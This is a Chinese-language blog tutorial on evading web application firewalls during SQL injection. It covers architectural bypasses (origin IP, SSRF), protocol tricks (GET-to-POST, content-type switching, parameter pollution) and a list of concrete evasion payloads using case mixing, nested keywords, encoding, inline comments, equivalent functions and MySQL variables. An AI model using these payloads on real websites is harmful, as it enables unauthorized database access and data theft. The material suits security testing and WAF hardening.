SQL注入常用WAF绕过姿势

一、什么是WAF

1、简介

WAF部署在web应用程序前面,在用户请求到达web服务器前对用户请求进行扫描和过滤,分析并校验每个用户请求的网络包,确保每个用户请求有效且安全,对无效或有攻击行为的请求进行阻断或隔离。通过检查HTTP流量,可以防止源自web应用程序的安全漏洞(如SQL注入,跨站脚本攻击,文件包含和安全配置错误)的攻击。

2、工作原理

检测异常协议:拒绝不符合HTTP标准的请求

 增强型的输入验证:代理和服务器端验证,而不仅仅是客户端验证

 白名单和黑名单

基于规则和异常的保护:基于规则的更多是基于黑色的机制和更灵活的异常

状态管理:防御会话保护(Cookie保护,反入侵规避技术,响应监控和信息披露保护)

二、非规则绕过姿势

(一)架构层绕WAF

(1)用户本身是进入waf后访问web页面的,只要我们找到web的真实IP,绕过waf就不在话下了。

(2)在同网段内,页面与页面之间,服务器与服务器之间,通过waf的保护,然后展示给我们,只要我们在内部服务之间进行访问,即可绕过waf

(3)边界漏洞,同样类似于同网段数据,我们可以利用已知服务器存在的ssrf漏洞,将数据直接发送给同网段的web2进行SQL注入

(二)资源限制角度绕WAF

有的时候,由于数据太大,会导致waf无法将所有的数据都检测完,这个时候会忽略掉我们代入的sql注入语句,从而绕过waf,即:使用POST请求,对服务器请求很大资源逃逸sql注入语句。

(三)协议层面绕过WAF

(1)基于协议层,有的waf只过滤GET请求,而对POST请求没做别的限制,因此,可以将GET型换为POST型

(2)文件格式,页面仅对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf

(3)参数污染:有的waf仅对部分内容进行过滤,例如:

index.php?id=1&id=2

这样的参数id=1,waf也许仅对前部分的id=1进行检测,而后面的参数并不做处理。这样我们就可以在id=2的后面写入sql注入语句进行sql注入

三、规则层面绕过

1、大小写关键字绕过

select * from users where id='1' uNioN SeleCt 1,2,3;

2、替换关键字

select * from users where id=1 ununionion selselectect 1,2,3;

3、编码

select * from users where id=1 %75nion select 1,2,3;   %55nion %53elect 1,2,3,4

4、内联注释

select * from users where id=1 union/**/select/**/1,2,3;
select * from users where id=1 /*!union*/select 1,2,3;//

5、等价函数替换

由于检测到关键字,因此无法使用某些函数或命令,但在很多情况下,我们可以使用它们的等效或类似代码。

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

substr((select 'password'),1,1) = 0x70

strcmp(left('password',1), 0x69) = 1

strcmp(left('password',1), 0x70) = 0

strcmp(left('password',1), 0x71) = -1

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir() 

6、特殊符号

select * from users where id=1 union+select+1,2,3;

id=1+(UnI)(oN)+(SeL)(EcT)     'se’+’lec’+’t’   %S%E%L%E%C%T 1

7、缓冲区溢出

WAF始终是应用程序,容易受到与其他应用程序相同的软件缺陷的影响。如果出现缓冲区溢漏洞可能会导致WAF崩溃,即使它不会导致代码执行也可能会导致WAF正常运行

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

8、mysql特性绕过

1.= 等于
:= 赋值
@ @+变量名可直接调用

select * from users where id=1 union select @test=user(),2,3;//1
select * from users where id=1 union select @test:=user(),2,3;//自测可用,继续加油,root
select * from users where id=1 union select @,2,3;//NULL

参考资料:

SQL注入绕过waf的一万种姿势 - 铺哩 - 博客园 (cnblogs.com)

SQL注入9种绕过WAF方法 - 渗透测试中心 - 博客园 (cnblogs.com)

  • 4
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值